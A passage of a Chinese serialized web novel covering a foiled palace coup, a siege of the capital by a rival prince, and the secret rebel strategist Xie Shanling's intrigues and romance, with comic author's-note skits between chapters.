此等场景,楚王立刻有所猜想,但他仍算镇定,一面护在昏迷的皇帝面前,一面呵斥:“谁给你们的胆子?” “谁给你的胆子?!” 众人齐齐看向被锦衣卫簇拥护着从门外走进来的菅贵妃和三皇子、司马忠良。 楚王只飞快扫过菅贵妃和三皇子,视线久久在司马忠良的脸上停留,神情很是讶然,似是全然没想到他的背叛。 菅贵妃冷笑道:“贱人,他只是假意投诚于你,试探你的虚实罢了!还真以为他会为你而背叛我?” 旋即走到台前,朝向百官,欲言又止,给了三皇子一个眼神。 三皇子:“咳咳,老二向来对皇位有不轨之心,为此不惜勾结豲戎,哄骗父皇,残害手足!毒杀大皇兄、陷害我还不够,竟还勾结匪军泄露战况害死四皇弟!如今又来害我父皇,篡夺皇位,实在是天理不容,忠臣得而诛之!还有,呃……” 一时忘词了,下意识看向母妃以眼神求助。 “还有,如今京军营肖将军忠诚于陛下,不甘受二皇子的蒙蔽,已协助东厂锦衣卫把控住皇城内外,就连豲戎使团所在官驿也被封锁。”菅贵妃冷冷道,“如今大势明了,来人,即刻将这弄风弄雨的逆子斩杀以防后乱!” 锦衣卫却没动作,不动声色地看向司马忠良。 菅贵妃脸色微变,袖中的手攥紧了。当众杀顾裕骐是她擅作主张,司马忠良并未同意。她只是想搏一搏,若搏赢了,就此解决掉这个心腹大患…… 可她搏输了。 司马忠良淡淡道:“娘娘息怒,到底是皇嗣,不如先关押起来,留待陛下醒后发落。” 咱们干出这事儿来,哪还敢让陛下醒!这分明就是搪塞拖延之辞!可她不敢反驳,只能不甘地咬着牙顺他给的台阶下:“也好……” 司马忠良朝锦衣卫道:“动手。” 眼看如此,突然一道怒喝从龙椅上传来:“混账!!” 众臣齐刷刷看去,菅贵妃母子和司马忠良都脸色大变,震惊地望向撑着手站起身的皇帝。 楚王却很镇定,毫不在乎面前锦衣卫的刀锋还朝着自己,转身搀扶皇帝。 那锦衣卫都懵了,看向司马忠良寻求命令,却见主子也有些不知所措。 “混账东西!”皇帝脸色铁青地又骂了一句,看向这锦衣卫,问,“你拿刀朝着谁?朕吗?” “……不……”他嗫嚅着,又去看司马忠良。 司马忠良回过神来,刚要开口,殿外又涌进来一批兵士,领头的是谢家大郎谢善鸣,他手提着一个浸血的布包,走进殿中,高举过顶,随即朝皇帝跪下,字字铿锵道: “末将得陛下密旨,奸妃权宦沆瀣一气,竟意图弑君篡位,京军营肖粟与之勾结,已被末将取下首级。末将幸不辱命,如今京军营叛乱已平,末将与诸同僚各自率兵入宫稳控局势,反贼已无还击之力。” 皇帝大笑起来:“好!好!好咳咳咳咳……” “父皇!”楚王着急叫他。 皇帝拍拍他的手:“不必担心,朕会撑着这口气看这群欺君罔上的逆贼得到报应……”说着看他,感慨万千,不由得长长叹气。 万万没想到,宠爱了这么多年的爱妃和爱子竟会权欲熏心不惜给自己下毒,而被自己冷待了这么多年的儿子真心孺慕…… 但眼下不是感慨和重修父子情的时候,皇帝厉目看向台下,当即令人将司马忠良斩杀于此,可看到瘫软在地的那对母子时,几度要开口,终究心软,挥挥手让人将菅贵妃剥去服制打入冷宫等死,福王圈禁,终生无诏不得出府,否则以叛逆罪处死。 随后不再理这母子二人的哭闹争执,坚持弯腰亲自捡起刚刚掉落在地上的太子金印,抓起老二的手,将印塞入他手中,正欲说什么,口中又吐出一口血来,朝后栽去。 …… 楚王就此成了太子,而皇帝自那日起再度卧床不起,不是昏迷就是咳血,太医们不敢明说,可那神态一看就知道是怎么回事儿。 宋淮安笑道:“你爹还真能想,让顾裕骐以后过继其他皇子的儿子。你说顾裕骐会过继谁的?” “他没有那一天。”顾望笙淡淡道。 “哈哈……不过到此我们和顾裕骐的合作也就彻底结束了。”宋淮安道。 顾望笙又摆弄起沙盘来,边随意道:“从你利用他给的情报力挫顾裕泽、顾裕泽落水失踪那一刻起早已经结束了,若你舍不得,可以再去问他合不合作。” “不了不了,我要养伤,再去也是你去。”宋淮安推搪道。 见顾望笙不搭茬,似是不感兴趣,宋淮安换了个话茬:“你说顾裕骐接下来是先对付蔺潘两家还是义军?那两家明面上还没反,说不定会想坐山观虎斗……” “只在数日之间了。”顾望笙很肯定地说,“以他们秉性,反叛也只会以清君侧为名,这得在皇帝没死之前,否则顾裕骐一旦登基,他们再如何翻旧账也落于被动。” “那我们要不要暂停推进,坐山观虎斗?”宋淮安问。 顾望笙看向他:“不可。” 宋淮安点点头,幸灾乐祸道:“那顾裕骐可有得忙了。” 顾望笙冷淡道:“嫌忙他可以去死。” “噗!”宋淮安想起什么,问,“说起来,到时候我们入主京城,你想怎么对待顾裕骐?中间夹着谢公子他堂妹……” 顾望笙沉默了一阵才开口:“没想好,到时再说。” * 果真如顾望笙所言,两日之后,蔺潘两家接连打出了清君侧的名头,并且发兵直往京城,一路如摧枯拉朽,很快就兵临城下。 白龙义军虽然依旧北上推进,却算着时候放缓了速度,留给他们先恶斗一场的空间。 蔺潘联军来到城下时,先有人与城墙上的守城官对骂了一阵,相互指责对方是叛贼,无果。 就在此时,联军中忽有一人骑马从兵士自觉避开的道中缓缓来到前面,城墙上的守城官将看清后,脸色一凝,立刻招手叫小兵去传话:“……告诉太子,四皇子没死!” 那人俨然正是生死未卜许久的四皇子顾裕泽。 顾裕泽朝守城官道:“我是秦王顾裕泽,先前奉父皇之令前往剿匪,如今归来,为何不开城门让我进去?” 守城官欲言又止,想了想往后退了一步,蹲下装不在,等太子回复。 顾裕泽又在下面问责起来,大意就是不让他进城那必然是有鬼。守城官小声对身旁人道:“跟他说我不在,你们小兵不敢擅自做主。” “哎呀,直接不理他吧,他都大势已去,您怎么还怕上了?”小兵道。 “你懂个屁,今儿教你一招,行事不要擅作主张,不然黑锅背不完……等上头说什么再照做,没说的别自己乱做!”守城官语重心长道。 小兵受教地点头,照他说的做了。 顾裕泽自然知道这是搪塞之辞,冷笑一声,倒没多话,只让人大声不断地念起“讨贼檄文”,这“贼”自然就是被他们指蒙蔽圣听、挟天子以令诸侯的顾裕骐。 …… 消息传到谢府时,众人正在一处吃饭,闻言大惊。 谢善丰大喜过望:“我就知道四皇子肯定不会那么轻易死于贼手!” 他爹当即骂道:“你若是学不会闭嘴,自己找点哑药去吃!” 谢善丰不甘心地哼了两声,正要反驳,缺席的谢善鸣大步从外进来,伸手就去拉起谢善淩:“善淩你跟我走。” 谢善淩踉跄着起身,一边挣扎一边吃惊道:“你干什么?放开我……难道你们想把我从城墙上扔下去给顾裕泽吗?” 众人下意识要去阻拦,却又相信谢善鸣不会伤害堂弟,动作便迟疑起来,只眼看着两人。 ——佘郡主若在场,应该是不管三七二十一先拦了再说,可她偶然风寒在自己屋中休养。 众人便只是劝道:“善鸣你先将话说清楚……” 谢善鸣停下脚步,歉意地看着谢善淩,道:“自然不是!只是顾裕泽刚刚拿出了陛下的亲笔手谕,上面写着‘有难,清君侧’,这……” 谢善淩不由笑了起来:“那顾裕骐还有什么好说的?难道你让我去助纣为虐吗帮助反贼吗?” “岂是如此!”谢善鸣叹气道,“若真那样,我自然也是不帮太子殿下的,可我刚刚从宫中面圣出来,陛下亲口告诉我,那诏书是当初疑秦王势大有叛逆之心、哄他南下剿匪前写来诓骗他的,早已令暗探偷走销毁……谁知道秦王竟早有防备,将真的手谕藏起来,竟露了一份假的给人偷!如今拿出来,陛下都很惊讶。” 谢善淩笑得更大声了,嘲讽道:“还真是父慈子孝啊……” 其他男眷都已起身围过来,闻言谢大伯无奈劝道:“善淩……” 谢善丰默默看大伯一眼,扭头给亲爹一个眼神,亲爹压根没理他。 “……”也罢!!反正哪天我若真吃哑药势必和谢思玄分享!! 谢善淩给大伯面子,没再嘲笑,只是淡淡道:“如何得知顾裕泽手上那份是真的?说不定真的确实早已被偷走销毁,如今他手上这份是伪造。” 谢善鸣叹气:“这谁想不到?甚至就算是真的,硬说是假的也好。然而他将寿王爷和几位告老还乡的老臣劫持来了,当众让他们查验是否陛下笔迹印鉴。且不说他们是有意襄助,还是因在他手中而惧怕,已经开了口替秦王作证,话就不好说了。” “那让陛下屈尊去城墙上否认。”谢善淩说着,关切地频频看向依旧痴傻着的大殿下,“我还要照料他吃饭,没空也没兴趣。” “这都什么时候了……”谢善鸣无奈道,“陛下跟我说完那话,很是气恼,说要亲自去城墙上叱骂他们,但气急攻心,又倒下了,正在昏迷之中。太子分|身无暇,这才让我来请你。” 谢善淩却百般的不乐意,即便谢善鸣情急之下口不择言地吓唬他:“你也知道秦王的心思,若一朝城破,他会如何待你,你……” 谢善淩梗着脖子冷笑:“无非一死而已,大殿下整日痴傻,我又不能弃他不顾,活着和死了也没差别。” “你……唉!!” 谢善淩宽慰他道:“堂兄不必为难,即便我去了,顾裕泽和联军也不可能因为我三言两语就退兵,总归是要打起来的。” 谢善鸣完全没被安慰道,满脸的一言难尽看他:“没让你去当说客……让你去出谋划策若真打起来如何应对!” 谢善淩更不干了:“我只会纸上谈兵,一场仗没打过,此时让我顶上莫非是顾裕骐和将灵借机往我身上扣黑锅呢?” 谢家人一听这话倒也确实,纷纷出言劝阻谢善鸣。 形势危急,谢善鸣也是急了眼,忍不住道:“你都是临江仙了,匪军当年尚且势弱,都快没了,得你相助打过几场好仗才翻身,现在你跟我说你只会纸上谈兵?谢思玄我忍你很久了,你嘴里就没一句实话!” 谢善淩一怔,却没太吃惊,嗤笑道:“看来顾裕骐挺信任你,这都和你说,也难怪你如此为他卖命……” 这话中嘲讽意味太明,加之谢善淩露出的鄙夷眼神,激得谢善鸣又羞又恼,一时血冲脑门,竟伸手狠推他一把。 谢善淩一向柔弱,谁推都倒,当即也不含糊就要朝地上摔,却被谢善丰眼疾手快地扶住。 “你发什么癫啊谢善鸣!”谢善丰怒吼道,“谢善淩他哪里说错了?” 其他人到底是长辈,再偏疼谢善淩倒也没将小辈兄弟间推一把太当回事儿,更倾向于另一件事:“‘临江仙’是什么?帮匪军打仗又是怎么一回事?谢善鸣你刚在说的什么……” 事已至此,谢善鸣重重叹了一口气,将手中马鞭往地上一砸,坐到门槛上抱着头崩溃。 “你们问他!他究竟还瞒着你们惹出过多少滔天大祸来!你们当我这些时日就很想掺和那些事吗?他胆大包天,竟曾里通白龙匪军,化名临江仙替匪军出谋划策……太子拿住了他这个把柄,让我们家替他将功补过就既往不咎……” 作者有话要说: 谢善鸣(崩溃版):事已至此,把谢善丰嫁给秦王算了! 谢善丰:?这又关我屁事? 谢善丰老婆:来,跟我说说。 谢善鸣:……抱歉弟妹,我一时激愤之言,是我失礼。 谢善丰:倒是对着我道歉啊喂! 第104章 ◎有时候,“谢善淩的家人朋友太多了”这个念头会晦涩阴暗地浮现在他的脑中。◎ “虽是临江仙给的情报, 却也怕是顾裕骐生性多疑,故意误导他,从而误导我们。”面对京城传来的急报,宋淮安谨慎地说。 顾望笙点点头, 沉稳地说:“他自然先有所甄别, 但我们也再辅以他方互证, 如此可保万无一失。” 谢善淩擅于此道,他自己常给人假消息, 便防着别人也用这招,特意叮嘱过所有情报无论巨细都不可偏信, 至少二、三条互不交叉相识的暗桩所提供内容中能相互映证。这也是他再三强调暗桩暗线之间须见面也不相识的原因之一。 近来顾裕泽率蔺潘联军打到京城大门口了,谢善鸣奉命请谢善淩未果, 宫里直接下了圣旨逼谢善淩去。谢善淩这才一副怨气冲天的样子走马上任。 他每日懒洋洋的样子当甩手掌柜,然而揣着手静坐久了,有时候看面前一群守城将帅讨论方案实在不靠谱, 就忍不住还是会真诚地提点一二。 没指望他真靠那点护卫军击退顾裕泽带来的二十万兵力,只要他以最小的代价守住京城一个月不被叛军攻破,并且城内秩序不要乱。 谢善淩做到了。而顾裕骐所说的只要一个月也做到了。 一个月后, 豲戎援军以匡扶正统为由进入大梁境内东来救驾; 与此同时, 几处大梁北境原本装聋作哑观望、甚至隐约倾向联军的城池被顾裕骐说动,纷纷声讨并出手断租联军粮道。 而南边的路被白龙军盘踞拦断了。 …… 顾裕骐与顾裕泽两边打得水深火热,谢善淩一副功成身退的样子火速辞职回家和傻子继续长相厮守。 但这丝毫不影响他提供最新的情报给义军。 反而先前他在任时从无异动,因为他知道一定有无数双眼睛在盯着自己的一举一动。他还知道,除了被目光集聚的自己外,义军还有很多暗桩, 因而不急。 平安无事地退任后, 反正家里的叔伯兄弟也会忍不住地说起来。 最近没有别的事可说, 也压根没空说别的事。别说谢善丰了,就连大伯二伯那两张嘴都像碗口大窟窿的筛子。 如何避开耳目将情报送出去倒是需要多加考虑的事,但也没太难倒谢善淩。 小雨连绵下了数日,傍晚终于停歇,空气里都是湿润的味道。 谢善淩早早哄了“顾望笙”睡着,抱着进屋来的猫抚摸。猫亲昵地用头蹭他,如此好一阵谢善淩才松开猫,弯腰将它放在地上看着它一溜烟跑出去。 忽的,谢善淩视线一僵,脸色微微凝固,看着门口将猫举起来作势逗玩的不速之客。 猫很不情愿,背部弓起炸毛,喉咙里发出低低的威胁声,将灵视若无睹,将猫抱在怀里走进来。猫忍无可忍地探出爪子挠刺他的衣服,他并不在意。 谢善淩看着,并没有出言制止。他说了也是白说,将灵突然如此举动自有缘由。 果然,将灵一只手捏着猫的脖子制止它咬自己,另一只手去摸猫脖子上的五彩编织绳圈,解下来拿在手里又笑着来看谢善淩。 “你最近好像很喜欢抱这些猫玩。”将灵并不急着打开看,先意味深长地说着。 谢善淩不悦地反问:“这你也要管吗?” “当然。否则我怕你重操旧业。”将灵说着,瞥了瞥谢善淩身后不远处床上躺着的人影轮廓,“又或者是替秦青完成‘创业未半,中道崩殂’的大业。” “……”谢善淩白了他一眼,别开脸道,“如果你是来找茬的,恕不奉陪。” 将灵挑眉道:“如果你的茬真被我找到了,我可得好好地拿这把柄威胁你。” 谢善淩没接话,一动不动。 将灵嘴角依旧勾起,眼中却冷了下来,松手将猫抛到地上,不管它愤怒地喵喵骂着一溜烟逃跑,展开绳圈正反看了几遍,没看出可疑之处。 他不慌不忙,扯下绳圈上似是护身符的小布囊,正要打开,忽的停住,又看了眼谢善淩。 谢善淩回过头来冷眼看他,哼了一声,转身坐到凳子上。 将灵也冷哼了一声,将布囊一把撕开,里面果真有张小纸条。将灵不急着打开,先去看谢善淩,问:“你现在还有什么话说?若求一求我,或许……” 谢善淩冷漠无情:“我求你去死你听吗?” 将灵咬牙切齿:“好,你嘴硬……” 说着将纸条用力打开,定睛一看,愣住了。 纸条上写着:喵喵喵喵喵。 “……” 谢善淩适时地又轻蔑一笑。 将灵有点没脸,将纸条正面反面翻来覆去看了好几遍,都只有那句喵话。 他不悦地指控:“你敢说不是故弄玄虚?最近忽然给你府里大大小小的猫戴上这玩意干什么?里面还放这么一张东西?” 谢善淩反问:“这关你什么事?若我乐意给谢府里的每棵树都套上东西也是我的权利。”不屑道,“下回先逮一只查看,若真有东西再来找我对质也不迟,省得丢人现眼!” 原是该这样的,但将灵最近忙得焦头烂额,事关谢善淩他又不愿假手于人,若谢善淩真“重操旧业”,他得帮忙按下此事,否则难保现在同样焦头烂额的顾裕骐动怒下手。 没有心的谢善淩却丝毫不懂得体会自己的心! “……这张纸条是何意思?”将灵追问。 谢善淩不耐烦道:“你去问猫。” “你们的暗号?”将灵疑神疑鬼道。 谢善淩用“你疯了吧”的眼神看他。 将灵一想,确实也是有些荒谬…… “你说,究竟是什么——” “将灵不要脸。或者,豲戎快灭国。你觉得该是哪句就是哪句。” “……” 将灵啧了一声,不甘心地走去墙角打开最近新添的柜子翻找,满满全是猫的围脖、衣服等物,没让他找出他也不知道自己想不想真找出来的东西。 “……” 有些恼羞成怒,却又觉得这岁数还在玩小猫穿衣的谢善淩很可爱。 “……” 觉得这岁数还在玩小猫穿衣的谢善淩很可爱,却又有些恼羞成怒。 “……” 若今天没下雨,也许刚刚就能看到谢善淩给猫穿衣了,而不只是一个绳圈。应该是考虑到衣裳太大,若被雨水濡湿了小猫裹着难受。 将灵沉默了一阵,舔了舔嘴唇,回头缓和了语气柔声问:“最近怎么又将这些东西翻找出来了?不是很久不玩了?” 两人好时,谢善淩兴致勃勃拉着他展示过这些多年积累的玩具,还抱来猫展示给他看,那个时候谢善淩笑得十分明媚灿烂。 偶尔将灵会幻想幼年在大梁求学时就认识谢善淩,谢善淩这么热情地对待自己,那段童年回忆该有多美好。 谢善淩是他第一个、也是唯一一个朋友,还是个大梁人。那个时候他是这么以为的,他觉得无比奇妙。 眼前的谢善淩这样冷漠,这么讨厌他,也许根本就不是一个人。 “……我很无聊。”谢善淩低声说。 将灵愣了下,有点惊讶地看他,怀疑自己听错了:“你说什么……” “我不知道你们会将我关到什么时候去,又或者不会阻拦我在京城内游走,但一想到你们必定怀疑我是借机要做什么,一定牢牢跟着,就觉得索然无味。”谢善淩淡淡道。 将灵张了张嘴,想说“这不是你自找的吗”,又想说“你让人防备成这样难道是别人的错吗”,话到嘴边却一句都说不出来。 半晌,他终于想出句话来,讪讪地正要说,谢善淩垂眸幽幽地说:“他曾说过会陪我游遍山川……果然又是骗我。你们都喜欢骗我,事后却反而怪我骗了你们。难道不是你们先伤害我的吗?我报复你们有错吗?” 将灵:“……” * 顾望笙猛然惊醒,坐起身来怔了怔,紧绷的肌肉略微放松,长呼一口气,掀开薄被下地去到帐外,微微仰头望着夜空。 今夜的星辰很亮。听说京城这几日细雨连绵,谢善淩不喜潮湿,而且惧冷。 谢善淩大概又没有乖乖吃药。他曾好几次发现谢善淩逮着机会就将药倒掉不吃,两人为此还吵过架,他单方面吵,谢善淩自知理亏, “什么时候了?”他问守在门口的小兵。 小兵道:“丑时刚过。将军你子时才睡,再多睡会儿吧!” “……醒了。”他有点答非所问地说着,朝小兵们的大通铺营帐走去,稍稍挑开几个帐门角,一眼看去都在安分地酣睡,欣慰,又有些羡慕。 他又梦到童年,可是惊醒后没有谢善淩迷迷糊糊地抱住他哄他。 他知道谢善淩最近安全无恙,然而其中涌动的暗流又是何等凶险,一旦稍有差池…… 有时候会后悔没有带谢善淩一起走,可是想也知道会被拒绝。一来是暴露的风险太大,可能一个也走不掉了;二来,谢家人都还在那,谢善淩必然放不下。 有时候,“谢善淩的家人朋友太多了”这个念头会晦涩阴暗地浮现在他的脑中。 这当然是不该有的想法。可是…… 顾望笙回过神来,正要折返,突然听到营地入口处传来声响,转头看到几个兄弟表情轻松地笑着走过来,见到他都过来打招呼。 “此行如何?”顾望笙问。 “早说了朝廷狗贼现在狗咬狗忙得团团转,不可能还有余力来埋伏我们,你和老宋就是多心!” 站在中间的年轻男子眉眼精致,其实不算很矮很瘦,但由于身旁是几个魁梧大汉,被衬托得很小一只。 他闻言作势要打说话那人:“当我面就敢说我表哥?!” 但说这话时他眼角眉梢都是娇俏笑意,先前说话那人就笑着不闪躲,其他人也是笑着看,起哄道:“子煜打他!真打,别假打,哈哈哈。” 热闹都是他们的,顾望笙没什么兴趣,反倒看了更觉落寞。倘若谢善淩也在…… “没什么事就早点休息吧。”他淡淡说完,转身离开,但很快就听到身后急促的脚步声,贺子煜追上来拍他肩膀笑着说:“秦哥,怎么这么晚了还没睡啊?” 边说边亲昵地来勾他脖子,他往旁让了让,贺子煜勾了一个空,倒也不恼,依旧爽朗笑着,抬手推他肩膀一下,佯怒挤兑:“这成了亲的人就是不一样啊,兄弟之间也要这么避嫌了?”凑近朝他眨眼问,“那谢小少爷是醋坛子啊?” 第105章 ◎“可能确实是被家妻惯坏了。”◎ 贺子煜一向如此行为, 宋淮安都说过他几回,他说都是兄弟,宋淮安就不好再劝了,只能任由他去。 当初宋淮安落难, 别的亲戚对他避之不及, 唯独贺子煜的父母冒着灾祸的风险收留他, 后来二老先后离世,临终前都是叮嘱宋淮安照顾好这独子。 顾望笙又退开一步, 说:“你也早点休息吧。” 说完转身又要走,贺子煜却又追上来, 跟着道:“我不困,先跟你说说此行的收获吧!万一睡过一觉忘了些重要的细节就不好了。” “不是说没有埋伏吗。”顾望笙淡淡道, “那先去休息也不迟。” “说不定你能从中看出我们没看出来的蛛丝马迹呢?”贺子煜正色道,“越是这关键时刻越不能掉以轻心。” 他所言确实,顾望笙便让他说。两人到了营帐内, 顾望笙的帐内常有人来议事,但总是井井有条,干净利索。如今半夜里被子虽是铺开的, 却铺得很整齐。 贺子煜又笑起来, 打趣道:“每回都觉神奇,表哥看起来应当比你贤惠,你却比他贤惠,真是人不可貌相啊,谢小少爷娶了贤妻。” 顾望笙不苟言笑,只让他说此行发现。 贺子煜又正经起来, 细说了一阵, 最后压低了声音道:“秦哥, 我其实察觉出大家都有些松懈了,这还是不好,顾裕骐心思缜密,那将灵亦狡猾多端,就怕是故意麻痹我们然后请君入瓮。” “嗯。你担心得很有道理,我会注意。”顾望笙话锋一转,“不早了,去休息吧。” 贺子煜却没走,和宋淮安有几分相似的脸上又挂起了笑意:“看你被子应该是睡过一觉中途醒了,不接着睡却出去闲逛,不会是思念谢小少爷吧?说说啊,我可想听了打趣你呢,就你这冷淡的样子,人家可是那么娇贵娇生惯养出来的小少爷,平时没少被你得罪吧?” 顾望笙只说:“不早了,我要休息了。” 贺子煜面露失望:“无趣,真无趣,谢小少爷怎么就便宜了你这大冰块……” 顾望笙已经有点不耐烦了,碍于宋淮安的情面不好说重话,只能看向门口以眼神示意。贺子煜又感慨了几句他不识风情、谢小少爷有点遇人不淑,最终在顾望笙的沉默中悻悻然走了。 他走后顾望笙立刻皱起了眉。 上回谢善淩去黔阳,贺子煜正好不在,应该是从没见过谢善淩的模样,怎么也对谢善淩这么感兴趣???口口声声踩自己捧谢善淩,就差明说自己配不上……哦,是已经明说了! 我配不上,难道你想说你配得上???笑话!都没谢善淩高!也没我英俊! ……怎么总有狂蜂浪蝶想抢谢善淩啊啊啊啊?有未婚夫的时候也抢,如今都成亲了还有新冒出来的! 顾望笙焦虑地在帐内转了几圈,越想越生气和不安。他相信谢善淩,却不信其他男人!谢善淩被其他男人觊觎的感觉太糟糕了!可是谢善淩那么好,似乎不被人垂涎三尺才不正常……癞虫合虫莫真多! 这下子更睡不着了,急忙从怀中掏出谢善淩的手帕闻了又闻,远远不够……想抱住对方,感受活生生的体温,而且能警告其他人识相点不要肖想不该想的……谢善淩是他的!从出生就是! …… 翌日白天再见到贺子煜,他只觉得秦青待自己好像脸更冷了,可是转念一想又觉得是错觉,好像差别不大,是自己想多了。 待众人议完事,正好到了饭点就坐一起吃,席间贺子煜忽然关切地朝顾望笙说:“秦哥,你脸色不太好,没休息好吧?” 拜谁所赐?!我就知道都想害我!打小一群人抢我太子之位,这就算了,这破玩意不稀罕,可若抢谢善淩就别怪老子不客气拿命拼。 顾望笙压下心头翻腾的醋海,淡淡道:“不是。” 再怎么焦虑也不能让别人、尤其是觊觎谢善淩的人发现,得露出自信无比的样子。毕竟都是些外室都当不上的,自己就不一样了,出得厅堂下得厨房上得床,谢善淩想要活泼的温柔的软弱的刚硬的天真的复杂的全都有。 贺子煜自以为是地说:“想你那小娇妻想的吧……啧啧,秦哥你这算什么,老房子着火吗哈哈哈哈说起来算不算老牛吃嫩草?哈哈哈……” 他这话顿时引来一通哄堂大笑。 虽然秦青平素沉默寡言不爱和众人说笑,但若是无关正事,还算脾气好,何况军营里如此调侃很常有。 至于秦青和谢善淩成亲一事,乃至于谢善淩是临江仙,知道的人很少,但绝不是没有。宋淮安事先叮嘱过不要说出去,但知道的人忍不住会含糊地调侃秦青前段日子失踪是去娶亲这事儿,于是大多数人便以为秦青只是舍不得让妻子冒险所以娶完仍养在娘家,这不稀奇,在座大多都有家小,也都各自安顿在觉得安全的地方。 至于他突然跑去娶妻也没什么好说的,很正常,大家干的是脑袋别在裤腰带上的活儿,早早留个种保险。还有人拿这事劝宋淮安有样学样也赶紧找个人留。 笑声中,顾望笙忽然看着贺子煜很认真地说:“你年纪也不小了。” 贺子煜一愣,原本的笑僵了僵。 “其实你和我同岁。”顾望笙说。 贺子煜:“……” 他脸上有点挂不住,撇撇嘴说:“就说你句老,你居然生气了,都是大老爷们儿……难道你那小娇妻嫌过你大他几岁,所以你这么敏感?” 秦青忽然很少见地笑了笑,把众人都看呆了。贺子煜心中一动,刚要开口把话往回收收,就听到秦青说: “你我同岁,我若是老牛吃嫩草,也至少吃着了,你却八字没一撇的,算什么呢?老光棍?” 贺子煜:“……” “哈哈哈哈!”顾望笙自己大笑了几声,似乎觉得这个还击很妙。 但他发现大家都没笑了,用微妙的神色看自己。 他停了下,问:“往日你们不是总嫌我太严肃不和你们玩笑吗,怎么现在我玩笑起来你们不笑了?不好笑吗?” 大家面面相觑,确实觉得不太好笑。毕竟贺子煜和秦青不一样,前者生了张嫩脸,举止言谈活泼,还真跟老光棍不相干。当然了,也不是说秦青就像老牛,秦青长得就算以男人的眼光来看也相当俊美,只是贺子煜打趣起秦青来大家就会觉得很有趣。反过来的话嘛…… 再说了,贺子煜他……呃…… 正当尴尬时,贺子煜站起身兴趣索然道:“没意思……我说说笑而已嘛,你还当真了!以前打趣你也没这么小气的,成了亲可真是不一样了。不说了,饭也吃不下了,走了!” 说完就朝外走,正好小兵送饭来,旁人急忙叫住他劝说安抚,离得近的直接起身拉他。 贺子煜哼了一声,站着没动。 “秦青你说你这事儿闹得,子煜天真烂漫惯了,就爱到处打趣人,你跟一个孩子较什么劲……” “他和我同龄。”秦青幽幽道。 “嗐!你还真计较那句老牛啊?!” “他不也不喜欢老光棍这词吗?”秦青反问。 “……”那谁喜欢自己被叫老光棍…… “行了行了,兄弟们说笑还说急眼了,等下把子煜弄哭了淮安知道了不得操心?他身子还没好。”说着给秦青使眼色。 秦青看向贺子煜:“我也是说笑,你若觉得不好笑,往后你我都不要说了。” 贺子煜回头眼圈已经红了,瞪着他说:“我就是看你和你那谁恩爱,逗一逗乐嘛!以前叫你老光棍也没见你这样!” 秦青忍耐着问:“所以我也这么说你,你为什么生气?” “你还说!”贺子煜气得两眼泪汪汪,狠狠跺脚。 旁人赶紧道:“秦青你少说一句,让让子煜!” 秦青不说话了,垂眸望着面前的饭菜,伸手拿起碗筷吃起来。 “好了好了他不说了,你别气了。最近可能是天干气燥,秦青心情不好……”说话的人拉贺子煜回座。 贺子煜哼了一声,白秦青一眼说:“我看是他娶着了千娇万贵的小……小姐,跟着也娇贵起来了!不习惯我们这糙汉子间的粗鲁了。” “行了别说了……” 秦青放下碗筷,没什么声音,但一时间大家又静了下来,警惕地看着,生怕他发火。 说实在的,贺子煜是有点嘴碎了,不过平时大家把他当弟弟看待,他长得也不差。 再说了,说难听点,白龙义军纪律严明,不让养女人,连私下里去附近找暗|娼也不让……军营里太素了,拿小白脸还身形相对较小的贺子煜当女人看着解解馋吧,为此格外宽松些。 “我确实也是不该和你计较,刚矫情了点。”秦青缓缓道。 大家忙道:“这不就没事了嘛!子煜你看,别气了。吃饭吃饭……” 秦青接着叹了一声气,道:“可能确实是被家妻惯坏了。” 大家:“……” 又安静下来了,你看看我我看看你,最后不约而同偷偷看贺子煜的反应。 多多少少有点感受到贺子煜对秦青那剃头担子一头热的感情……但秦青一直念叨着他那未婚妻,所以大家装不知道,偶尔说笑似地起哄一下,秦青不高兴地让别乱说话也就渐渐不说了,贺子煜也说大家想多了,可…… 话说回来,被家妻惯坏又是什么鬼……有点牙酸。 秦青诚恳地对贺子煜说:“我老房子着火,你嫂子太疼我,头回有人这么疼我,我着实有点得意忘形了,你别跟我一般见识。我自罚一碗,这事儿都别提了。” 说着倒了碗白水,仰头一饮而尽。 贺子煜:“……” 作者有话要说: 秦青:听明白了吗谢善淩很疼我只疼我! 扭头对谢善淩:呜呜呜除了你没人疼我了,你看他们还欺负我,尤其这个贺子煜,他经常暗戳戳阴阳我。 谢善淩:……(想吐槽但下意识先抱住安慰) 第106章 ◎其实病的是你们,唯独没病的是我。◎ 白龙军势如破竹, 其他不说,就连以为要费一番功夫的水城,守城的将领闻听白龙军一路的风头,竟主动投了。 然后白龙军就在此停了下来, 不再前进。 再往前不远就是京畿之地, 朝廷军、蔺潘联军和豲戎援军正打得难舍难分。 * 城里是近日以来难得的小晴天, 但城外那块天际阴沉沉,听说一直在下大雨。谢善淩似乎都能闻到雨水混着血水渗入泥泞中的味道。他的神色越发倦怠。 自古常言, 一将功成万骨枯*。又有曲曰:兴,百姓苦;亡, 百姓苦。* 打来打去的是在史书上留不下名姓面孔的数以万计的小兵,供养战争的是同样如此的平民百姓。 战争平息后, 侥幸活下来的过着依旧贫苦或者更加贫苦的生活,死了的也不会被铭记。 他怔怔远眺着那些连绵的乌云,不由落下泪来, 如同那里无情的雨。 “……给。” 手帕递到了面前,将灵的嗓音有点沙哑。谢善淩并未理会又不告而来的他,一动不动。 将灵长叹了一声气, 清清嗓子, 安慰道:“很快就能结束了。”虽然只是结束与蔺潘联军之战。 谢善淩终于开口,依旧没看他,低声道:“打完这场,白龙军就会继续北上,趁你们疲惫之际攻进。” “放心,我们……” 谢善淩似乎压根没在听他说话, 自顾自地接着喃喃:“战争如同人的私欲, 永无止日。” “善淩……” 谢善淩的眼中又涌出泪来, 他忽然转头看向将灵,问:“你知道很有趣的在于哪里吗?” “……哪里?”将灵问。 他其实心思不在这个问题上面,更想抬手为谢善淩擦去脸上的泪水,可是他想谢善淩大概会躲开,也许就连这些话也再不肯说了。于是他忍住了。 谢善淩淡淡道:“有趣的是,我为之同情的因高位之人私利私心而遭受剥削的人,若他们有朝一日也坐到那个高位,他们会一面无比怜惜曾经自己受过的苦难,一面更狠地压迫与曾经的自己处境相同的百姓。” 将灵一时不知该怎么接这话。 这确实有趣,但显然谢善淩其实并不真觉得这有趣。 他甚至从谢善淩的脸上看到了恨意,也不知是在恨谁,他恍惚间觉得至少这一刻谢善淩恨的不是自己和豲戎、顾裕骐、顾裕泽、潘家,至少不止是自己和豲戎、顾裕骐、顾裕泽、潘家。 